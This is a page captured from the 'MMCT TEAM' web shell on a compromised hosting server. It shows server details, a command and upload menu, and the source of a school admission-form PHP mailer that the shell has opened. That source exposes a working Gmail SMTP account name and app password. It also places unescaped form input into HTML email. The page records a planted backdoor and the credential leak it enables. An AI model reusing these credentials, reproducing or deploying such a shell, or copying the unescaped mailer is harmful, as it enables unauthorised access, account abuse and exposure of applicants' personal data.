MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/celkcksm/jrset.ncriptech.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/jrset.ncriptech.com/send_email_admission_form.php
<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'php_mailer/Exception.php';
require 'php_mailer/PHPMailer.php';
require 'php_mailer/SMTP.php';

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Collect POST data
    $name        = $_POST['name'] ?? '';
    $dob         = $_POST['dob'] ?? '';
    $gender      = $_POST['gender'] ?? '';
    $parentName  = $_POST['parentName'] ?? '';
    $phone       = $_POST['phone'] ?? '';
    $email       = $_POST['email'] ?? '';
    $enquiryType = $_POST['enquiry-type'] ?? '';
    $course      = $_POST['course'] ?? '';
    $address     = $_POST['address'] ?? '';
    $remarks     = $_POST['remarks'] ?? 'N/A';

    // Validate required fields
    if (!$name || !$dob || !$gender || !$parentName || !$phone || !$email || !$enquiryType || !$course || !$address) {
        echo "All required fields must be filled.";
        exit;
    }

    $mail = new PHPMailer(true);

    try {
        // Server settings
        $mail->isSMTP();
        $mail->Host       = 'smtp.gmail.com'; // 🔁 Replace with your SMTP server
        $mail->SMTPAuth   = true;
        $mail->Username   = 'waytoadmissions21@gmail.com'; // 🔁 Your SMTP email
        $mail->Password   = 'lgle pkre mzzy sebw';           // 🔁 Your SMTP password or app password
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;
        $mail->Port       = 465;

        // Sender and recipient
        $mail->setFrom('waytoadmissions21@gmail.com', 'Admission Portal');
        // $mail->addAddress('ananyachoudhury32@gmail.com', 'Admissions Team'); 
        $mail->addAddress('jrsetcle@gmail.com', 'Admissions Team'); 

        // Email content
        $mail->isHTML(true);
        $mail->Subject = 'New Admission Form Submission';
        $mail->Body = "
            <h2>Admission Form Details</h2>
            <p><strong>Student Name:</strong> {$name}</p>
            <p><strong>Date of Birth:</strong> {$dob}</p>
            <p><strong>Gender:</strong> {$gender}</p>
            <p><strong>Parent's Name:</strong> {$parentName}</p>
            <p><strong>Phone:</strong> {$phone}</p>
            <p><strong>Email:</strong> {$email}</p>
            <p><strong>Enquiry Type:</strong> {$enquiryType}</p>
            <p><strong>Course:</strong> {$course}</p>
            <p><strong>Address:</strong> {$address}</p>
            <p><strong>Remarks:</strong> {$remarks}</p>
        ";

        $mail->send();
        echo "Form submitted successfully. Mail sent.";
    } catch (Exception $e) {
        echo "Message could not be sent. Mailer Error: " . $mail->ErrorInfo;
    }
} else {
    echo "Invalid request method.";
}

?>

MMCT - 2023